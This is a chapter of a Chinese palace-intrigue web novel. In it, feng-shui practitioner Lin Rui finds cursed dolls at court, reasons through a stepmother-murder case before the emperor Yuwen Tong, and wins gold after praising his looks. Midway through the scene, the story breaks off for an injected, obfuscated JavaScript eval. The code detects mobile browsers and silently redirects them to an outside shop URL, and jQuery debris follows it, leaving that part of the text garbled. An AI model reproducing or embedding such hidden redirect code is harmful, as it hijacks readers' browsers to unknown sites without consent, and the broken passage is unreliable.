新搜出的几个人偶打破了平静!原本只有萧皇后一个受害人,这下子,突然多了好几个,而且,王令嬴也在其中!
局势一下反转!
王令嬴从嫌疑人变成受害者,还是差点被诬陷的双重受害者!王令嬴看了一眼林蕤,忍不住落下眼泪。
她也不闹。
眼泪珠子就这么噼里啪啦往下掉,只哭不闹,同往日的娇纵截然不同,让人心疼。
武陵大长公主立刻扑了上去:“我的嬴儿啊,我可怜的嬴儿啊,差点蒙冤,这宫中竟有人如此歹毒,要害我儿性命……”
武陵大长公主又哭又闹,对宇文通道:“陛下,您可要为嬴儿做主啊……”
宇文通看向林蕤。
“接下来呢?”
林蕤坦诚:“陛下,草民能做的,已经做完了。”
宇文通道:“哼,这便是你说的,能让人偶开口?!”
专断蛮横!
这是林蕤对宇文通的第一印象,模样生的不错,怪不得王令嬴念念不忘。
天时地利人和,聚到一处便可一飞冲天!
宇文通天生的帝王相,前后两任皇后,王令嬴和母亲将他扶上皇位;萧氏的兄弟为他收复失地,开疆扩土。
宇文通命真好……
他有两个顶顶好的皇后!
林蕤敛衽躬身,恭谨道:“回陛下,草民围着皇宫转悠了一圈,寻到了几处埋藏阴煞之物的地方,萧将军亦从其中搜得邪物。”
萧玄策上前一步道:“回禀陛下,末将一直跟着林姑娘,未曾离开过。”
林蕤又道:“风水勘舆之事,草民已竭尽全力,至于案件推理,揪出真凶,还需仰仗陛下和朝堂诸位大人,草民能耐有限,不敢妄言。”
“嗯哼……”
宇文通冷哼,旁人以为他生气了,皆小心翼翼。
“方才是谁说——让人偶开口,指认黑手的?!”
林蕤老实道:“是我说的,所以我这不是把它们找出来了么……”
宇文通扬了扬衣袖。
旁人以为林蕤惹怒了皇帝。
“大胆!”
林蕤吓了一跳,哪冒出来的?!
一个大臣道:“陛下面前岂容你推诿塞责,既敢以风水之术介入宫案,便该一查到底,如今却甩袖脱身,莫非是故弄玄虚、欺君罔上?!”
好大一顶帽子啊!
林蕤搭着眼帘,默默记下这人的模样,陛下还没说话呢,你算哪根葱!
据她观察,宇文通并未动怒,短短几面,林蕤对宇文通有了大概的了解。
虽为帝王,可他并不是一个性子内敛的人,相反他十分张扬。至高无上的皇权在他手中,这是一个爱欲其生,恨欲其死的男人!
林蕤大胆猜测。
王令嬴已成废后,萧氏膝下有皇子傍身,朝中有两个能征善战的兄弟,稳坐中宫。
宇文通用萧家平衡王家的目的已经达到,没必要对王令嬴赶紧杀绝。所以只要林蕤说的有道理,他是愿意听的……
*
林蕤赌对了。
宇文通哈哈一笑,案件重新回到刑部手中,林蕤心中悄悄松了口气。
林蕤不懂破案,她出身宗坛不是出身刑部!她可以风水勘辨寻找线索,断案查人的事——不该她碰!
玄学不能凌驾于皇权!
普天之下莫非王土……
林蕤寻思着时辰差不多了,可以准备收拾收拾回高密侯府了。
宇文通同刑部侍郎聊了几句,想起了最近的一个案子,突然道:“林蕤,你如何看待呢?”
事情是这样的——
百姓童氏的继母陈氏,杀死了童氏的父亲,童氏为报父仇,愤而杀了继母陈氏。
按照本朝法律,杀母应以大逆之罪论处,但宇文通对此有所疑虑,觉得此案特殊,有可以斟酌的地方,所以一直踌躇未决。
宇文通把问题抛给了林蕤。
林蕤有点懵。
自己并非朝臣,皇帝问自己作甚?可……还是老老实实答了。
既然皇帝犹豫未决,那么便是觉得童氏不该杀,那……怎么个不该杀呢?!
林蕤道:“敢问陛下,陈氏为何要杀害亲夫呢?”
女子杀夫,总要有个理由吧,事出皆有因,不可能无缘无故杀人的。
宇文通搭着眼帘,回忆着刑部上疏的案情,“陈氏与他人有了奸情,故而联合情夫杀害了童氏的父亲,随后,陈氏报官,谎称其夫是被强盗杀害的……”
这个案件特殊,宇文通记得比较清楚。
童氏长大以后,从旁人口中得知了真相,于是提刀将继母杀害,为其父报仇,按照律法——杀害父母乃大逆不道之罪,应当处以凌迟。
林蕤垂眸,思索片刻。
气氛安静下来。
武陵大长公主悄悄打量林蕤,今日这般棘手,幸亏自个儿听话,没瞎折腾,止住了那些想法,否则,真真是害了嬴儿啊。
王令嬴同样看向林蕤,就是这个人,替自己摆脱嫌疑的……
林蕤思量片刻,然后开口:“回陛下,童氏杀的只是继母,并非生身母亲。”
宇文通疑惑:“继母难道不是母?”
邓允抬眸:“继母最多只是个假母,因为她与童氏并非骨肉血亲,血脉相承,而是仅仅与童氏的父亲有情爱……”
天、地、君、亲、师。
生母,生父是亲。
继父继母的身份,要排在生身父母之后,陈氏都联合情人杀夫了,又如何能算作“亲”呢?!
林蕤续道:“童氏的继母已经杀害了童氏的生父,这就表明,二者之间的情爱,已绝……”
萧玄策抬眸。
他好像理解了林蕤的用意。
“对于童氏来说,陈氏乃是杀父仇人,他为父复仇,杀人,触犯律法,只应该追究他的杀人之罪,而不应该论以——”
“杀害母亲的大逆不道之罪……”
“而且,童氏的继母杀夫在前,犯了杀夫之罪,童年的案子,也应该考虑到这一点——”
宇文通听罢,对立于下方的刑部侍郎说道:“你们瞧瞧,你们判的……连个女子都不如!”
刑部侍郎诚惶诚恐。
*
末了。
宇文通问林蕤会不会观相。
林蕤心中捏了一把汗……
观相——
就是以阴阳五行为基础,靠观察人的面貌、手相等等,来推测被观相者的过去和未来,属于玄学五术之一。
像《麻衣相法》、《柳庄相法》当中,都有记载。
这,林蕤哪懂啊……
她老实摇头。
宇文通斜倚在高位上,漫不经心,目光落在林蕤身上,道:“林蕤,你如何看朕?如何看待朕这个皇帝?”
其实……
这个时候,最稳妥的办法就是歌功颂德!千穿万穿,马屁不穿,把皇帝一通夸才是最明智的选择!
可是…
林蕤不知道宇文通抽的哪门子疯?!突然想起这么个问题,没办法,皇帝问,你就得答,这就是皇权。
林蕤在小相山生活了很多年,每天接触的除却话本子就是经典古籍,经文符箓。
对了!
她净秽驱邪学的不错。
要不……
给宇文通净秽净秽,驱驱晦气……
林蕤盯着宇文通。
殿内众人悄悄打量着林蕤。
林蕤看了一会儿,开口说道:“陛下生得——”
“甚貌美!”
什么玩意?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17675521|207452||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
!
夸陛下好看呢……
普天之下,谁敢评说帝王相貌?这实在是逾矩又大胆的话!
宇文通先是一怔,眼眸里闪过一丝错愕,随即低低地笑出声来,笑声朗然,“旁人颂朕,都是尧舜禹汤,倒是头一次听说,有人夸朕……生得貌美。”
他直起身,笑意里添了几分兴味,“你倒是胆子大,你倒是说说看,朕如何……貌美?”
被小姑娘这般夸奖。
宇文通有点不好意思。
林蕤双膝微屈,规规矩矩行了一礼,她恭敬道:“古人把香草美人比作品德高尚的君子,香草生幽谷而芬芳,不染尘俗。天下百姓都应该如思美人般思陛下!”
宇文通哭笑不得。
他还是头一次见到这般比喻。
“哈哈哈哈哈哈……”
“咳咳……”
宇文通拊掌大笑。
“哈哈哈哈——”
宇文通这一下,驱散了坤宁宫中的阴霾,林蕤心知,这一关算是过了。
宇文通笑够了,眉眼间的兴味更浓,“这话,朕爱听!不过,朕怎么听说,你如今住在高密侯的府上,朕记得,高密侯好像有两个儿子吧……”
他看了一眼旁边的内侍,内侍赶忙躬身上前提醒道:“陛下,高密侯府上确实有两位公子。”
“说吧,你是看中了老大,还是老二?谁是你心中的美人呢……”
你他娘的!
我没招你没惹你?!
你是想把我划入高密侯府?还是把高密侯府划入王家一党?!
林蕤心道不好。
无论她同邓允如何,这是他们之间的事,不应该牵扯朝堂。
林蕤道:“回陛下,我仰慕大公子,一直在努力追求,还没成功呢……”
宇文通:???
王令嬴狐疑的看着她,不明白林蕤为何不趁机让陛下赐婚。
萧皇后端庄持重的坐在一旁。
倒是武陵大长公主看明白了,她历经三朝,就像林蕤说的那样,她听过的,见识过的,哪里是这帮黄毛小儿了解的?!
只是从前关心则乱……
如今女儿脱险,她倒是有些看明白了。
林蕤脸皮厚,没有女儿家提到心上人的羞涩,反而苦恼该如何追求成功。皇帝本来被巫蛊一事烦心,听到八卦,倒是郁气消散不少。
宇文通好整以暇:“那么,你准备如何追求大公子呢?”
林蕤想了想,犹豫道:“准备,金银,礼物……”
旁人没好意思提醒。
虽说女追男隔层纱,可这金银,礼物合该是男子准备的!到底是乡野女子,没什么见识……
“然后呢……”
这下,换成林蕤苦恼了。
“若是金银,礼物都不够,那就再多些,投其所好,总有能相中的吧……”
“哈哈哈哈哈哈……”
宇文通点燃了八卦之心,竟然主动给林蕤出起主意:“你啊,倒是个实心眼的。金银珠玉谁不喜欢?可高密侯府又不是寻常人家,普通的金银珠玉又哪里没见过呢……”
林蕤挠头。
宇文通很高兴,拍了拍膝头道:“朕今日被你逗得开怀,唐县的事,你也算有功,朕便赏你些东西,权当给你添些本钱,可以更好的追求邓家大公子——”
他抬手朝内侍扬了扬下巴,“传朕旨意,赏林蕤黄金百两、白银千两,”复又想起林蕤没接触过什么好的布匹,又道:“再挑几匹上好的云锦,一并送过去。”
内侍连忙躬身应道:“奴才遵旨!”
宇文通又看向林蕤,眼底满是戏谑,“这下,你便是想送些更贵重的东西,也有底气了。”
宇文通这一番率性而为的撒钱,林蕤十分欣喜,真金白银到手了!